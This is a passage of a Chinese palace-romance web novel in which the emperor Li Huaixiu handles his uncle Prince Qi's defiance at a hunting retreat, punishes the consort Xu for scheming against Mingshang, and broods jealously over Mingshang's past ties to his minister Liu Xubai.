不过这白额虎罕见?难寻,更别提狩猎提回营中。其?余人多是些?山鸡野鹰,再?出彩些?就是黑熊狐狸。 但凡有所得,李怀修都做了嘉奖。眼看着后面的猎物越是寻常,案后,齐王轻嘲的一笑?,“皇上,我大魏朝臣皆有所得,不知皇上狩到何?物?” “是山鸡,还是兔子?” 山鸡兔子皆在猎物中的最下等。 筝声戛然而止,在坐的一众人等面露惊愕,一时安静如鸡。 齐王是疯了吗!敢这么?大胆。 皇后微抿唇,指尖拨弄着手腕的玉镯,没有说话。 便在这时,又?听那齐王不知死活地开口,“臣听闻皇上只狩猎到山鸡野兔一类,皇上射御怕不敌微臣了吧!” 明裳拧眉,朝那齐王看去一眼,齐王隐忍多年,今日不请自来,倒底中间出了什么?岔子,让他露出了真正面目。 所有人都在等着皇上的回应。 李怀修靠到椅背上,指骨点了点桌案,漫不经心地望去齐王一眼。 只这一眼,齐王袖中的双手暗暗收紧,早知这个侄子不可小?觑,当年他就不该轻视,先把人处理?干净。如今铁器、盐税、土地皆已被查,即便他不出手,也要被这个皇帝杀头处置。 不过须臾,围场内忽然步入一列甲兵,在场人面露愰色,那列甲兵直奔齐王而去。 齐王没想皇上居然不顾及皇室宗亲,当场发作,他面色变了又?变,“皇上这是何?意!” “臣是皇上的皇叔,不过玩笑?之?言,难不成皇上还要因臣几句冒犯,而将?臣处死?” 李怀修把玩着手中的茶盏,轻轻勾唇,“皇叔误会了。” 他抬了抬手,围着齐王的羽林卫收了长剑,列入席位之?后。 李怀修口吻随意,“朕与群臣东山狩猎,感念先祖恩德,又?何?以猎物相较。” 围场内仍旧无声。 齐王方?才起了身,谢罪,“臣言语冒犯,请皇上恕罪。” 李怀修轻飘飘睇他一眼,道了句“无妨。” 今日的席面让所去的众人胆战心惊,快散场时气氛不如最初轻松,人人都为齐王的大胆言论捏了把汗,谁不知道皇上当年镇守边疆之?时,一力?敌三军,悍戾骁勇,只是皇上御级后,鲜少于众人前射御,但传闻怎会有假。 散了席面,明裳回到绾阁,对今日之?事不解,她对那位的了解,不会这般纵容齐王,而更让她好奇地是,齐王蛰伏多年,居然在今日贸然失了分寸。若非齐王有万全?的把握,就是被逼迫得走投无路。 明裳心口砰跳,确信后一种念头,齐王现在是被逼到悬崖的野兽,在垂死挣扎。 …… 那日之?后,齐王如常去山中狩猎,没了动?静。 明裳没再?去马场,待在寝殿内,琢磨绣安儿的小衣。她绣活儿实在拿不出手,内务府虽有绣坊,绣娘的手艺也要比她精湛,但她闲下来得空,就想给两个孩子做些小衣裳。 自处置了乔答应和韩宝林后,就没人敢再?轻易到绾阁,安安分分地守在各自宫所里。即便不得皇上看中,也比让皇上厌恶要好。 明裳绣得累了,揉揉眼睛,随手把绣布放到婆罗里,吩咐宫人拿下去,待她睡醒了接着做。 树林阴翳,隐有鸟鸣。 李怀修从马场回来,踏进内殿,宫人守在外面,见?到皇上进来,正要回寝殿唤醒娘娘,李怀修示意不必,布置那些?东西费了些?时候,他疲倦地压了压眉心,张开双臂由宫人服侍除了外袍走进寝殿。 床榻里的人不知睡了多久,双颊酡红生绯。 李怀修眼皮子掀了掀,他在外面忙得焦头烂额,脚不沾地,这女子倒是好睡。 天光悄然黯淡,明裳迷迷糊糊地睁开眸子,正要唤月香进来,伸开手,似是触到了什么?。 寝殿掌着两盏明烛,明裳看清了坐在床榻边的男人,这几日皇上一直歇在议政殿,刚坐起身,就被男人伸过的手臂圈入怀中。 她柔软的小?手抵在李怀修胸前,喃声,“皇上何?时来的,怎么?不叫醒臣妾?” 李怀修沉沉的黑眸中映着女子的剪影,他指腹勾一把那张小?脸,“朕还想问你,朕不到你这儿来,你就不知道去朕的寝宫?” 朦朦胧胧的帷幔垂落,明裳清醒过来,咬唇哼哼道:“哪有上赶着去您寝宫的。” 这天底下,谁不是上赶着敬他畏他。 李怀修拍拍明裳的腰臀,凉凉轻嗤,“不疼了?” 那夜这位像拿她泄火似的,不知道自己又?哪做错,招惹了这位。 没消停上多久,殿外忽然一阵躁动?,隔着垂落的帷幔,有宫人进殿急声通禀,“皇上,乔答应不慎坠湖,溺毙了!” 明裳惊愕地坐直身子,一时没回过神。 入了夜,乔答应没事儿怎么?会去湖边,又?这样?突然溺毙了! 李怀修原是要到这女子这儿静静,没安生多久,又?出了事端,他沉下脸色,不耐烦地揉了揉太阳穴,让明裳起来,“朕过去看看。” 他掀开帷幔,明裳抓住李怀修的手腕,忧心道:“臣妾与皇上同去。” 李怀修点点头,传宫人进殿侍奉。 入夜,乔答应坠湖溺毙,惊扰了各宫嫔妃。各宫闻讯,都去那湖边,伺候乔答应的宫女,趴在主子身边悲恸哀嚎,“主子!主子你醒醒啊,主子!” 众人面面相觑,东山狩猎,不止有六宫嫔妃,还有前朝朝臣命妇,敢在这个时候动?手,可真是大胆。 皇后打量过乔答应捞出的尸首,微眯了眯眸子,不动?声色地扫一眼赶来的嫔妃。 圣驾过来,今夜皇上去了绾阁,宓妃也随侍在皇上身侧。 李怀修到湖边停下步子,看到地上躺着的人,面容沉沉如水,明裳则有些?害怕,这深更半夜,行宫各处多有密林,耳旁时不时传出林中呼啸,颇为瘆人。她咬唇往男人身后躲了躲,李怀修察觉到她似是害怕,不动?声色地握住明裳发冷的手,“要是害怕,朕命人送你回绾阁。” 明裳摇摇头,“臣妾现在回去也不敢睡。” 闻言,在场的嫔妃默默艳羡发酸,宓妃害怕有皇上陪着,她们难道就不害怕吗。 伺候乔答应的宫女名唤小?初,小?初泪眼模糊地跪在乔答应旁边,哭得一声接着一声,皇后眼眸转开,看向?地上跪着的小?初,“乔答应不在寝殿,怎会跑到这湖边,又?怎会落水?” 小?初哽咽地咽下泪水,她瑟瑟发抖地跪着身子,瞟一眼明裳,哭声道:“是主子做错了事。” 她朝明裳看的这一眼颇为微妙,明裳也不明所以,韩宝林哑声猜疑,“乔答应做错了何?事能让她丢了性命?难不成与宓妃娘娘有关?” 李怀修淡淡掠了瞬说话的人,韩宝林倏然噤声,站去了众人之?后。 跪地的宫女言语含糊,吞吞吐吐,李怀修扫过乔答应的尸首,平静地开口:“说实话,朕可以饶你一命。” 小?初神情大惊,身子抖如筛糠,额头砰砰叩到地上,“皇上恕罪,那日宓妃娘娘马场发生意外,全?是主子所为。主子害怕皇上查明实情后降罪,整日惶惶不安,为保全?母家,才畏罪投湖!” 明裳在马场那日发生的事并未传扬出去,就连皇后也不清楚发生过这桩事。皇后诧异地朝明裳看去,眉心微动?,在场的众人也忍不住朝死去的乔答应投去眼光,倘若被皇上降罪牵连母家,确实不如自尽一了百了,说不准还能得皇上几分顾念,保全?家里人。 不过,依着乔答应的性子,当真这么?容易就畏罪自尽? 明裳眸底思忖,无意瞥见?小?初发鬓间一支在宫灯下隐隐闪着柔和光泽的玉簪子,这物看似质朴无华,实则价值不菲,可非宫女所有。 她没有听小?初的一面之?词,侧脸提议:“皇上,小?初所言有虚,不如先杖责一百,再?听她还有什么?话说。” 杖责一百哪还有命在! 小?初脸色霎白,她额头哆哆嗦嗦地叩在地上,“皇上,奴婢所言句句属实,奴婢怎敢欺瞒皇上!” 皇后微微抿唇,“皇上,如此重刑,怕是不妥。” 一百杖,宓妃就不怕皇上觉得她心狠手辣吗? 明裳轻笑?道:“皇后娘娘,小?初言语闪躲,她既然敢谋害自己主子的性命,一百杖又?算得了什么??” 边说,她又?悄悄去扯李怀修的衣袖,“皇上,您说臣妾说的对不对?” 李怀修太阳穴突地一跳,握住她那只软乎乎的手,她撒娇也不分场合,这么?多人在还有没有个体统。 他面上八风不动?,不咸不淡道:“依照宓妃说的去做。” “另去审问此处当值的宫人,但凡有可疑之?人即刻收押!” 小?初眼神惊惶,浑身瘫软在地,她一把鼻涕一把泪地爬过去,“奴婢不敢欺瞒皇上!求皇上明鉴,奴婢不敢欺瞒皇上!” 没人去关心一个奴才的死活,乔答应被送去安葬,剩下的事宜交由皇后处置。 眼见?着圣驾离开,小?初被上来的两个太监钳制住双臂,她身子拼命挣扎,泪水呜咽悲鸣划过侧脸,慌乱之?下,她想说出真相,可不经意看到在场的一人,她含住眼泪,迫不得已将?腹中的冤屈咽了下去。 她天真的以为,那位主子怀了皇嗣,皇上定会看在那位主子的情面,放过她一条性命。 李怀修送明裳回绾阁,没有留下陪她,而是回了议政殿。明裳没有多问,她提出对小?初杖责一百,也是在看背后那人能不能坐的住。皇上清楚她什么?意思,不会真的对小?初打一百杖,不过是做给背后的人看罢了。 她坐在窗边,抿唇沉思,心下隐隐有一个猜测。 议政殿内,李怀修交给陈庶那两件事,陈庶已经查到些?眉目,只是忙着处置齐王,李怀修才耽搁下来。 陈庶呈上那枚金珠,“马场喂马的小?倌与行宫枫林的宫人有几次来往。” 正如李怀修所想。 他闭上眸子,指骨点着御案,每一下,都让人心惊。 徐氏愈发大胆,不仅不思悔过,还加害到旁人身上。当真以为给自己寻了一个垫背之?人,他就能念在她怀着皇嗣的情面上,轻而易举揭过么?! 李怀修唇线压平,脸色越来越沉。 全?福海默不作声地垂低脑袋,心想这舒贵人还真是大胆,刚有身孕居然就倚仗皇嗣,做出这么?大胆的事。他不敢想象,倘若宓妃娘娘当真出了事,舒贵人会不会还有命在。后宫争宠,闹到了狩猎行宫,也是丢尽了皇室的脸面。 “传朕旨。”全?福海脑袋一压,听见?皇上开口,声音冷得没有一丝温度,“贵人徐氏,善妒狭隘,胆大妄为,其?等行径,深恶朕心,即日起,褫夺封号,降为末等采女,诞下皇嗣后,打入冷宫,永不得召幸。” 第099章 第 99 章 大底是?昨夜吹了冷风, 又受惊吓,明裳夜里就觉得浑身发?热,昏昏沉沉, 喉咙干得发?不出声音, 翌日天明,月香服侍她起身, 手?心碰到娘娘额头的?烫热,吓了一跳,轻唤了两声, 见娘娘仍没清醒,不敢耽搁,忙遣人?去传太医。 事关绾阁宓妃娘娘,那太医来得很快,诊过脉象, 开了两副方子, 又嘱咐月香用沾了水的?帕子为娘娘擦拭, 高热退得快些?。 明裳这时?才醒来,她手?心碰碰发?热的?侧脸,浑身乏力?, 头昏脑胀, 她就着月香喂过来的?汤勺吃药,汤药苦得紧,她生?了孩子脾气,不想去吃,皱着鼻子, 侧脸避开月香伸来的?手?,神情抗拒。 娘娘打小就这样, 生?了病除非夫人?哄着,否则要千求万求才肯吃药。 月香实在没有法子,急得温声,“娘娘吃了药,才不难受了。” 于明裳而言,吃药才是?受罪。 她拂开月香的?手?,一头蒙进被子里,“端下去吧,我醒了再?吃。” 说是?醒了再?吃,也不知娘娘要睡到什么时?候,待醒过来,怕是?又要耍赖。 月香虽伺候娘娘日子久,毕竟也是?个下人?不敢强硬去劝,她叹了口气,与绘如无奈对视一眼,收了汤药,退出内殿,留娘娘歇息。 绾阁这厢请了太医,很快传到议政殿,李怀修正召禁军统领吩咐事宜,见全福海有话要说,先让他在外面等着,全福海咽下要传的?话,到殿外候着,这一等就到晌午,禁军统领挎剑而出,全福海转身,忙去通禀宓妃娘娘生?病,传了太医的?事。 李怀修原以为不是?什么大事,听那女子病了,刚拿起的?狼毫继而放下,拧眉看他,“怎的?不早禀与朕。” 全福海惊得大汗淋漓,只得受下这无妄之灾,他是?想早说,可宓妃娘娘再?受宠,也比不过朝政重要,他哪有那个胆子打扰皇上。 他哭丧着脸,见皇上没再?怪罪,匆匆出殿,立即跟上去,传宫人?摆驾绾阁。 绾阁住着的?娘娘病了,在寝殿里歇息,伺候的?宫人?们做事小心翼翼,轻手?轻脚,不敢惊扰娘娘。 李怀修进殿时?,那碗被送了三回的?汤药正要端出内殿,宫人?见到皇上忽然过来,抖了下身子,忙跪身见礼,两手?捧高了那碗尚有余温的?汤药。 “这汤药怎么回事?” 那宫人?毕恭毕敬地回话,“娘娘喝了小半碗羹汤睡下了,娘娘不喜喝汤药,命奴婢们端出去。” 李怀修登时?冷了脸色,“胡闹!” “生?了病,不吃药如何?痊愈!” 皇上突然震怒,伺候的?宫人?诚惶诚恐,面色煞白,大呼皇上恕罪! 娘娘不愿吃药,连贴身服侍的?月香姐姐都没有法子,她们也是?无可奈何?啊。 李怀修让那宫人?把汤药放下,抬手?让她下去。月香听见动静,从寝殿内出来,见到皇上,忙福了身,犹豫要不要进殿叫醒娘娘,李怀修让她也不必留下伺候,月香纠结想说娘娘在寝殿里擦身子退热,却见皇上已经端着汤药走进了寝殿。 她与绘如对视一眼,两人?默契地没有打扰,纷纷候到屏风外。 寝殿内,床头的?案上放着一盆热水,架子上搭了两条干净的?巾布,床榻里的?女子裹紧衾被,只露出一张粉嫩生?红的?脸蛋,呼吸都发?着热气。 李怀修放下汤药,卷袖去摸明裳额头的?温度,触到那抹烫热,他脸色比来时?还要难看。 当真是?胡闹!这般不爱惜自己的?身子。 李怀修沉声吩咐宫人?再?去传太医,赵太医再?次来一回,不想这位娘娘居然是?没吃下药,硬着头皮说还是?要娘娘先将药服下,再?用热水擦拭身子,才能好?得快些?。 他下去开方子,明裳迷迷糊糊,压根不知道这位脸色黑得正想等她身子好?了,好?生?收拾一顿,长长记性。 稍许,宫人?端着汤药进殿。 月香去扶明裳靠去引枕,调羹搅了搅,慢慢喂给娘娘。明裳一闻到那苦涩的?味道,就下意识避开。有皇上在旁边盯着,月香脊背发?凉,生?怕下一刻皇上就强硬把这碗汤药灌去娘娘嘴里。 她急得额头冒汗,心里直念叨娘娘快些?喝了吧,哪怕喝下一小口也行啊。 李怀修不知这女子吃药这般困难,瞥见那烧得发?红的?脸蛋,他压压眉心,端过汤药,让月香出去,“去打盆热水进来。” 月香紧张地看了眼娘娘一眼,只得应下吩咐。 不知何?时?,窗外淅淅沥沥下起了雨,敲打着窗棂,内殿生?了小盆炭火,驱散了秋日山中的萧瑟清冷。 李怀修素没伺候过人,他搅着汤勺,见不烫了,才喂到明裳嘴边,见她不吃,沉声威胁道:“虞明裳,不好?生?给朕吃药,你知道朕要怎么罚你。” 明裳很难受,生?病好?难受,梦里还要被那位威胁,迫于淫威之下,她张了张唇,喉中就被灌入了一口发苦想吐的汤药,她要呕出来,却又被送进一勺,那位边威胁边哄着,难得温柔,“乖乖吃了药,待回宫,朕陪你回虞府待上半日。” 陪她回虞府? 她是?不是?在做梦,那位怎么这么好?说话。 明裳不知不觉,忍着难受,吃了小半碗汤药。汤药见底,李怀修不咸不淡地递给候着的?月香,月香眼睁睁看完了皇上用在娘娘身上的?手?段,咽了咽唾,装死?似的?垂低脑袋,一声不敢吭。 床头放了两盆热水,月香见皇上没有离开的?意思,硬着头皮,躬身去解娘娘对襟的?扣子,在那道极难忽视的?视线之下,月香绞干巾帕,擦去娘娘胸脯的?饱满时?,手?腕轻轻颤抖。 娘娘如今已不是?初入宫中尚且未长开的?少女了,身段玲珑有致,丰臀细腰,凹凸合宜,尤其生?产后那两处饱满愈发?弹润,红梅覆雪,夺人?眼目。 这副身段,就是?女子见了都面红耳赤,心生?情悸,不愿移开眼。 月香硬着头皮,在擦拭到娘娘的?脖颈时?,明显听见娘娘不适地娇哼了一声,那样的?媚色,她面颊一红,又害怕皇上在这,失了克制,伤害娘娘。娘娘此时?的?状态,如何?承受得住。 她没敢停住,却也不敢再?继续。 李怀修呼吸微重,捏紧了扳指,沉声让她出去。 月香面色转白,忙揭过衾被遮掩了娘娘的?身子,扑通跪下,“皇上,娘娘风寒不适,请皇上怜惜娘娘。” 她知晓平时?娘娘侍寝有多难受,床笫间时?常啼哭,肌肤上那些?印子,看得她都不禁心疼,皇上对娘娘一向纵容宽宥,唯独那事上是?克制不住的?。 李怀修冷冷瞥她一眼,念及这宫人?是?那女子贴身的?侍女,还算忠心,并未降罪,淡声,“朕知道。” 威压的?目光下,月香再?不离开,怕是?要惹皇上不悦,于娘娘也无益处。她起了身子,担忧地望向还在昏睡的?娘娘一眼,福过礼,惴惴不安地出了寝殿,却只候在屏风外,并未去外殿。 待寝殿内安静下来,李怀修坐去床榻边,试了试盆中的?水温,尚且适宜,捋起衣袖,揉搓了两把巾帕,抬手?将明裳裹着的?衾被揭开,入目是?女子姣好?的?胴体?,大底是?高热的?缘故,雪白的?肌肤生?出淡淡的?绯色,像情\\事余韵的?媚意。 珠圆玉润,犹如徐徐绽放在他面前的?春色海棠。 李怀修下颌绷紧,眸色越来越暗,自视甚高的?自持,在触到那两点殷红的?一刻,荡然无存。 他握着巾帕的?手?背爆出青筋,好?笑地抵了抵腮帮子,他这数年的?明君之名还没坐稳当,怕是?都要毁在这个妖精手?上。 李怀修腹下生?热,强迫移开目光,去擦拭明裳的?脖颈。大底是?力?道太大,明裳被摩擦的?疼了,蹙眉睁了睁眸子,见到眼前的?男人?,不知是?不是?梦,肌肤一阵疼意,她闷哼一声,委屈道:“皇上轻些?。” 李怀修何?时?这样伺候过旁人?,见她这副可怜兮兮的?摸样,他分明意动,却干碰不得,还要哄着这人?吃药,被她嫌弃,他心里愈发?不是?滋味。 许是?服了药,又有这番折腾,明裳彻底清醒了,她眼眸如水,看清了男人?的?面容,也看清了此时?两人?的?情形。 她羞红了脸,慌乱地拉住衾被,盖住身子,一双眼珠游来动去,“臣妾怎敢劳动皇上,还是?让月香进来给臣妾擦身子吧!” 她虽早就伺候过圣驾,可这光\天\化\日,怎好?传出去,万一让太后娘娘知道,更要不喜她。更何?况她生?着病,给皇上过了病气可怎好?! 李怀修捏一把她脸蛋,没唤人?进来,言语自然,“你哪块肉朕没碰过,羞什么。” 那怎么能一样! 明裳羞得满面通红,直往衾被里躲,“皇上快别说了!” 她咬紧唇珠,眸子湿润娇媚,那般怯恼地看着李怀修。 见她羞至如此,李怀修心里憋着的?气才算消了些?。 便是?在这时?,殿外宫人?通禀,徐采女求见。 昨夜,皇上下旨,褫夺舒贵人?封号,降为采女,禁足三月,诞下皇嗣后打入冷宫,永不召幸。 按理说,徐采女这时?应该在禁足,居然敢违抗圣旨,跑到绾阁。 明裳羞意退去,先去看男人?的?脸色,她不知道徐采女做了什么,会让皇上那般震怒,但心里隐隐也有一个猜想。皇上并未言明徐采女的?罪状,是?因那日马场之事,不好?与外人?告知。 她抿唇,没敢再?闹。 李怀修面色平静如常,他放下手?里的?帕子,问传话的?全福海,看守枫林的?宫人?是?谁。 全福海心底一沉,一一回话,那宫人?也是?大胆,皇上分明下旨徐采女禁足,居然还敢私自放徐采女跑到绾阁来。 他躬着身子,见皇上已经走出屏风,面无表情地下令,“违抗朕旨,依照宫规处置了。” 全福海心口扑通一跳,立即应声。 …… 秋日多雨,一阵接一阵凉意,东山中的?秋雨更甚,拂过徐采女的?脸面,鬓发?贴住双颊,视线有些?模糊不清。 她本以为有乔答应顶罪,皇上就会念及她腹中的?皇嗣轻拿轻放,饶过她这一回。 可她想错了,那位薄情至此,享拥江山,已有三子三女,根本不在乎她腹中这个孩子。可怜她生?下皇嗣就要被打入冷宫,她怎会甘心。 她不甘心自己就这样草草了结了一生?,她攥紧了手?中的?玉珏,一手?护住小腹,忽视了下身的?痛意,出来得匆忙,忘记带伞,被雨水淋了一路,面容隐隐发?白。 徐采女咬住牙根,望一眼那绾阁的?门匾,重重跪到了廊下的?青石砖上。 她攥紧了翠菊的?手?,“快去通禀皇上,嫔妾来此请罪。” 翠菊不停地去擦拭主子脸上的?雨水,她本是?扶着主子去议政殿,得知宓妃娘娘风寒,圣驾到了绾阁,皇上那样疼惜宓妃娘娘,而对主子这般冷情,翠菊为主子不平,但不得不承认,主子算计宓妃娘娘,又推乔答应落水顶罪,实在狠毒了些?。 可她是?主子的?奴才,无论主子做出什么伤天害理的?事,都要忠于主子。 绾阁的?宫人?没轻易放徐采女进殿,徐采女就跪在廊下,浑身湿透,她发?冷地缩着身子,不知是?泪水还是?雨水模糊了她的?双眼。 良久,那位出来见她。 徐采女快要撑不住了,她哆哆嗦嗦地拜见皇上。 眼看着徐采女如纸单薄,摇摇欲坠,全福海一惊,替徐采女说了句话,“皇上,徐主子毕竟身怀皇嗣,怕是?受不住这般折腾。” 东山这头徐采女怀上皇嗣,太后娘娘在宫里定然很快知晓了,徐采女倘若小产,失了皇孙,太后娘娘心里定然也不好?受。 李怀修抿唇未语,眼底闪过厌烦。 桩桩件件,若非她自己心存怨妒,执意为之,何?以走到现在地步。 李怀修捻着扳指,语调冰冷,“她想折腾,朕就由她折腾!” 这下,全福海也不敢再?多说半句,生?怕皇上一个不高兴,自己脑袋也没了。 徐采女僵硬着身子,面色被凉风吹得煞白,她浑身湿漉,由翠菊相扶,才勉强稳住身子。 隔一道雨幕,那位站在殿里,金尊玉贵,看着她,没有丝毫怜悯。 徐采女忽然觉得自己如今的?下场何?其可笑,她费力?地从袖中掏出那枚玉珏,捧过头顶,“皇上不能废了嫔妾!” 那枚玉珏是?先帝在世时?,给祖父的?赏赐,可满足祖父一个心愿,她入宫之前,祖父将玉珏赠与她,护她在宫中平安。 徐采女从没想过,自己这么快就用上这枚玉珏。 宫人?呈到皇上面前。 先帝之物,李怀修尚且认得出。 他不紧不慢地扫了一眼,轻扯唇角,先帝耽溺女色,晚年修丹炼药,时?而称心狂喜,送出去的?信珏不计其数,还没人?敢拿这种东西威胁于他。 第100章 第 100 章 李怀修冷笑一声, 淡漠地扫了眼廊下跪着的徐采女,为争宠生出这?些风波,他若当真再给她一次机会, 日后她又想闹出什?么事端。 人?的野心只会越养越大。 “送徐采女回枫林。” 他移开眼, 转身回了内殿。 徐采女浑身湿冷,挺直的脊背终于一寸一寸地弯了下去, 面如?死灰地瘫软在地。 皇后闻讯赶去绾阁,徐采女捂着小腹由宫人?搀扶,下身的裙摆沾染血污, 孩子?怕是要没了。 秋雨稍歇息,皇后叹息一声,安排宫人?扶徐采女上辇轿,传太?医去枫林诊治。 外面的动静明裳听得并不清楚,她穿齐整衣裳, 见皇上冷脸回来, 抿唇扶住男人?手臂, 轻轻揉捏肩膀,识趣地没有多问。 狩猎还有一摊子?的事,李怀修没有在绾阁待多久。 入夜, 六宫很快闻讯, 得知徐采女惹皇上震怒,在绾阁外受了风寒,意外小产,没有保住皇嗣。六宫讳莫如?深,没人?敢去探究徐采女做了何事, 不过?能让皇上不顾皇嗣责罚于她,想来也是咎由自取。 明裳好?些日子?没见到那位, 御前倒是来了几回人?,询问她身子?可修养好?,也日日有人?盯着她吃药,一顿都少不得。 后几日她明显感觉行宫多了禁军,日日有人?在殿外巡查,她想到不请自来的齐王,隐隐觉出似要发?生什?么大事。她吩咐绾阁的宫人?无事留在宫中,不可私自外出。这?个节骨眼上,万不能给皇上在后院惹出乱子?。 三日后入夜,全福海到绾阁,请她去御前侍膳。 全福海笑眯眯的,显然是有什?么好?消息。 也确实是好?事。 明裳第二日才?知道,齐王以?谋逆造反,走私盐铁,卖官鬻爵等诸多罪状扣押入狱,不日问斩。前朝后宫皆被惊动,毕竟齐王是当今的皇叔,一向安稳,没人?想到齐王私底下做了这?么多杀头的行径。不过?寻个由头,将这?些罪状施加到齐王头上,也是轻而易举。 宫人?提着六角宫灯在前引路,明裳提裙进到暖阁,皇上心情不错,招手让她坐过?去。宫人?摆了圆凳,添置碗筷。嫔妃侍膳,不能与皇上同席,但御前的宫人?知晓宓妃娘娘在这?早就废了这?条规矩,无声地候到一旁,添粥加菜。 其实明裳明白?,这?些日子?皇上不去后宫,不止因?为齐王之事,还有烦闷徐采女妄行失了皇嗣,徐采女再不济,腹中也是这?位的亲生骨肉,抛却皇室的名头,皇上也是那孩子?的生父。因?为清楚皇上心绪不佳,明裳也乖乖地待在绾阁,没去御前。 宫人?盛上汤水,李怀修问她身子?可好?利索了。 过?小半月,又日日有人?盯着她养身子?,不止养好?了,还胖了一圈。 她娇声,“皇上的人?每日都过?来问,还不知道臣妾好?不好?嘛!” 李怀修看她愈发?丰圆的脸蛋,想来是好?利索了,遂没搭理她这?句大不敬的话。 用?膳期间李怀修看了两道密报,都是从皇城送来的,他动作?迅速地处置了齐王,终要惹一些宗亲畏惧不满,李怀修不咸不淡地看完,没落下什?么交代,直接让人?烧了。 用?过?膳,回到内殿,明裳见这?位凝神沉思?,摆手让宫人?放下茶水出去。后宫不得干政,这?位不主动提,明裳也不会多问,不自作?聪明地替皇上排忧解难,她本就不懂前朝那些弯弯绕绕,这?位又强势得厉害,不喜旁人?指手画脚,她参与了,反而会讨人?嫌。 她出了会儿神,听皇上淡淡开口,“给朕磨墨。” 李怀修往两府写了信,那些宗亲不足为惧,最让他头疼的还是宋文进那个老?东西。 至深夜歇下,明裳软软地伏在男人?怀中,雪臀上罩着一只大掌,李怀修捏了两把丰盈,附耳与她说,“明日回去让你宫里的人?收拾收拾,五日后拔营回京。” 明裳原本困顿地睁不开眼皮,闻言陡然精神地亮起眸子?,声音软乎乎的,“太?好?了,臣妾早就想念绥儿安儿了。” 也不知这?一个月,绥儿安儿可还好?,回去可还认得她们母妃。 明裳面庞泛出柔和,来不及再多怅然感伤,又被男人?压在身下,李怀修沉着眉,修长的指骨钳住明裳的脸蛋,捏得她发?疼,冷冷呵她,“天天念叨着想孩子?,朕怎么没听过?你说想孩子?他爹?” 也不知这位在气什么。 明裳瘪唇,泪眼无辜,“皇上就在这?,还要臣妾怎么想?” 她满脸不明所以?。 被她理直气壮地一噎,李怀修也不知道想到什?么,脱口问她,“若朕东山狩猎留你在宫里,你可还会想朕?” 明裳微怔,没明白?这位话里的意思。比起思念皇上,她应该更?担心后宫会不会有人?借机上位,入这位的眼,分去圣宠。 她自然没有想念绥儿安儿那样想皇上,有时若非迫不得已争宠,她巴不得这?位不要去永和宫,免得她又要反复斟酌着说话,累死累活地侍寝。 然明裳也只是心里想想,她柔软的手臂讨好?地环住李怀修的脖颈,眼眸如?星月好?看,娇滴滴地撒娇,“自是想的。” “皇上和两个孩子?都是臣妾的依靠,臣妾都舍不得。” 李怀修轻嗤一声,没戳破她的伪装,既要给他做戏,最好?能在他面前这?般装模作?样一辈子?。 六宫已得知圣驾五日后回銮的消息,纷纷收拾装箱,准备动身。 议政殿,陈庶查明了皇上交代的第二桩事,禀到御前。 时过?境迁,柳大人?显然将痕迹遮掩得很好?,他费了番功夫,也只查到了一些零星音讯。 譬如?宓妃娘娘曾在柳府住过?一段日子?,譬如?柳大人?曾指点宓妃娘娘课业,譬如?柳大人?离京赴任,每月都会寄一封无名的信笺回京,里面装着一些香料、首饰、胭脂水粉等女子?用?的东西,因?路途较远,尚且好?查。再譬如?,柳大人?母亲不知因?何事,曾盛气去过?虞府,不久后,本是病了的宓妃娘娘忽然痊愈,呈了名帖,入宫参选。 至于其他一些事,陈庶确实没有查到。但有一人?,江家二姑娘江素素十分可疑,他按照皇上吩咐,不能闹出太?大的动静,故而没有轻举妄动。 陈庶查到这?些时,有些犹豫要不要交给皇上。柳大人?是皇上的亲信,宓妃娘娘是皇上最宠爱的妃嫔,此事传扬出去,实在是过?于荒唐。 他垂着头,殿内很静,他站在殿里,脊背莫名生了一层冷汗。 李怀修把玩着指尖儿的络子?,似笑非笑,眼底却骇人?阴冷。 他一手提拔上的人?,自然清楚他的这?个心腹重臣有多少本事,能不着痕迹地将这?些旧事遮掩。 虽未证据确凿,但他对那女子?的了解,绝非轻易与人?相交之人?,更?何况大魏男女大妨,若非她与柳絮白?曾经有过?什?么,怎会接受柳絮白?送给她的这?些东西。若非心虚,又怎会在他面前避讳,从不提及自己在柳家,早与柳絮白?相识。 若没进宫,没有柳家阻拦,她现在是不是已经做了柳絮白?的妻室了。 马场那日,倒底有多情深,会让柳絮白?舍命相救。 李怀修不能不去计较这?些,他看中的东西,一向不许旁人?染指。 “他二人?以?后还有来往么?” 陈庶低声,“唯有柳大人?回京述职那回见过?宓妃娘娘,再并无私交。” 李怀修眸底的冷色消了些,淡淡点头,良久,平静道:“此事不必再继续查了。” 陈庶怔然,他垂头没敢多问,正要应话,忽然想起一事,“今岁中秋宴那日,宓妃娘娘中途离席,江家姑娘尾随去了御花园,不知二人?说了什?么,宓妃娘娘回来脸色似是不好?。臣探听到,宓妃娘娘在柳府与江家姑娘不和,江家姑娘曾推宓妃落水,又指使?府上的家丁去救……” 这?些世家大族的腌臜陷害,陈庶也是知晓一二,无非是想设计宓妃娘娘下嫁,他查到江家姑娘或许对此事知情,是因?为前不久江家为二姑娘说一门门第不高的亲事,江二姑娘有所不满,就跑去了柳府,似要拿一事威胁柳家迎她过?门。 李怀修拧眉掀起眼皮,不满这?么重要的事他为何现在才?说。 “此事可还要旁人?知晓?” 陈庶忙摇头,“凡江二姑娘去柳府,柳夫人?都是紧闭大门,仆从也不曾留下侍奉。” 这?种事,都是知道要掉脑袋,谁敢传扬出去,又有柳大人?善后,处理干净,不然他也不会查了这?么久。 李怀修指骨敲了两下御案,面无表情地道,“把江氏女和她身边伺候的侍从处理干净。” “朕不想听到外面有半点风声。” 陈庶心中一惊,躬身领令,没有同情江氏女,他是皇上手里的刀,只听皇上吩咐。 转眼到回宫这?日,明裳欢欢喜喜地装好?箱,又换上衣裳,描好?妆容,全福海请她前去伴驾,她轻车熟路地过?去,上了车辇。 她对李怀修暗中去查的事一无所知,见皇上在煮茶看书,自然过?去红袖添香,没等碰到茶水,就被男人?手臂揽去了怀中。外面车仗起行,闹哄哄的,时不时传进人?声,明裳脸红得紧,皇上手臂很热,烫着她的腰。 她想躲,却被男人?手掌加重了力道,禁锢着她的手腕,生生出了两道痕迹,握得她生疼。明裳蹙眉抬起眸子?,不明所以?地撞入男人?深沉如?渊的眼中,她轻推了下李怀修胸膛,“皇上弄疼臣妾了。” 良久,李怀修勾唇,似笑非笑,“不喜欢朕这?样?” 明裳眼睫颤了下,居然有些害怕。 李怀修下颌绷紧,看清她眼底对他的惧意,怒火无端更?甚,握着她的那只手陡然青筋暴起,“那你告诉朕,你喜欢什?么?” 100-106 第101章 第 101 章 那你告诉朕, 你喜欢什么—— 明裳神色茫然,她殷红的唇珠微微张开,对上?男人幽沉冷凝的黑目, 又轻抿住了唇。 皇上?似乎是生气了, 还对她很是恼火。 